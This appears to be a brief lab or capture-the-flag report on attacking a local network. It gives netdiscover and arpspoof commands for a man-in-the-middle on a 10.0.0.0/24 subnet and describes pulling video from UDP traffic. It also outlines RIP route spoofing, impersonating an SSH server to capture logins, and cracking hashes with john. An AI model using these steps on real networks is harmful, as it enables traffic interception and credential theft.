Report:
Intra subnet

1. list all IPv4 addresses that are communicating

```
netdiscover -i eth0 -r 10.0.0.0/24
```

2. conduct a man in the middle

```
sudo sysctl net.ipv4.ip_forward=1
sudo arpspoof -i eth0 10.0.0.22
sudo arpspoof -i eth0 10.0.0.99
sudo arpspoof -i eth0 10.0.0.101
sudo arpspoof -i eth0 10.0.0.123
sudo arpspoof -i eth0 10.0.0.224
sudo arpspoof -i eth0 10.0.0.250
```

3. Findings - local network
a. http (not working -- skipped)

b. UDP video
Open wireshark, filter on UDP
Select to follow udp stream and then select raw
Save and then open the mp4 file

c.Custom text (not working -- skipped)

II. Inter subnet

4. Findings (remote network)
Update Network (based on RIP - so at least which subnets)

Fix and run the RIP python script on the desktop

Listen and spoof entire subnet - write/complete a python scapy script

Spoof SSH server - then get username/pass

ssh into real server with pass; get file on desktop

use john to uncover password hashes